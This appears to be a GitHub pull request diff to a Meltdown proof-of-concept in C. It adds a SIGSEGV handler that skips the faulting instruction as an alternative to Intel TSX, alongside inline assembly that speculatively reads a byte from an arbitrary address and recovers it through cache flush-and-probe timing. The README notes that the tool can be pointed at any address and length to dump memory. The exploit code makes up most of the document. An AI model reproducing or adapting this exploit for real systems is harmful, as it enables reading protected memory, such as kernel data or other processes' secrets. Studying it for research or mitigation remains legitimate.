Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add use of more generic signal handling instead of relying on TSX only #6

Open
wants to merge 6 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,8 @@ I just wanted to see if this really works, and it actually does. Scary!

It reads out the `TEST_PHRASE` using the timing attack (in its own process).

**Note:** This will only work on Intel "Haswell" and later, since it uses
the TSX extensions to mitigate the processor trap.
**Note:** To use TSX instead of signal handling, use -DUSE_TSX or uncomment
define macro USE_TSX in the code

Alternatively, by changing the macro `TEST_IN_OWN_PROCESS` to 0, you can
specify an address and length on the command line, and output raw data to pipe
Expand Down
64 changes: 61 additions & 3 deletions meltdown.c
Original file line number Diff line number Diff line change
Expand Up @@ -11,10 +11,15 @@

#include <sys/mman.h>

#define __USE_GNU

#define NUM_PROBES 5
#define TEST_IN_OWN_PROCESS 1
#define TEST_PHRASE "Hmm, this does really work!"

//#define USE_TSX 1

#ifdef USE_TSX
// TSX support

#ifndef _RTM_H
Expand Down Expand Up @@ -76,6 +81,43 @@ static __rtm_force_inline int _xtest(void)
}

#endif
#else

#include <signal.h>

#ifdef __APPLE__
#include <sys/ucontext.h>
#define RIP ctx->uc_mcontext->__ss.__rip
#define SPECULATIVE_EXIT _speculative_byte_load_exit

#else
#include <ucontext.h>
#define RIP ctx->uc_mcontext.gregs[REG_RIP]
#define SPECULATIVE_EXIT __speculative_byte_load_exit

#endif

extern char SPECULATIVE_EXIT[];

static void sigaction_segv(int signal, siginfo_t *si, void *arg)
{
ucontext_t *ctx = (ucontext_t *)arg;

/* We are on linux x86, the returning IP is stored in RIP (64bit) or EIP (32bit).
In this example, the length of the offending instruction is 6 bytes.
So we skip the offender ! */
#ifdef __x86_64__
//fprintf(stderr, "Caught SIGSEGV, addr %p, RIP 0x%llx\n", si->si_addr, RIP);
RIP = (uintptr_t)SPECULATIVE_EXIT; //skip sigsegv to next instruction
#else
#error fix dat for x86
printf("Caught SIGSEGV, addr %p, EIP 0x%x\n", si->si_addr, ctx->uc_mcontext.gregs[REG_EIP]);
ctx->uc_mcontext.gregs[REG_EIP] += 6;
#endif
}


#endif//USE_TSX

__attribute__((always_inline))
inline void flush(const char *adrs)
Expand Down Expand Up @@ -129,23 +171,29 @@ unsigned char probe_one(size_t ptr, char* buf, int page_size)
for (i=0; i<256; i++) {
flush(&buf[i * page_size]);
}
#ifdef USE_TSX
if ((status = _xbegin()) == _XBEGIN_STARTED) {
#endif
asm __volatile__ (
".global __speculative_byte_load_exit \n\t"
"%=: \n"
"xorq %%rax, %%rax \n"
"movb (%[ptr]), %%al \n"
"shlq $0xc, %%rax \n"
"jz %=b \n"
"movq (%[buf], %%rax, 1), %%rbx \n"
"__speculative_byte_load_exit: \n"
"nop \n"
:
: [ptr] "r" (ptr), [buf] "r" (buf)
: "%rax", "%rbx");

_xend();

#ifdef USE_TSX
_xend();
} else {
asm __volatile__ ("mfence\n" :::);
}
#endif

for (i=0; i<256; i++) {
times[i] = probe(&buf[i * page_size]);
Expand Down Expand Up @@ -202,6 +250,16 @@ int main(int argc, char** argv)
unsigned long start_addr = 0;
unsigned long t, len = 0;

#ifndef USE_TSX
struct sigaction sa;

memset(&sa, 0, sizeof(sa));
sigemptyset(&sa.sa_mask);
sa.sa_sigaction = sigaction_segv;
sa.sa_flags = SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
#endif

#if TEST_IN_OWN_PROCESS
static char* test = TEST_PHRASE;

Expand Down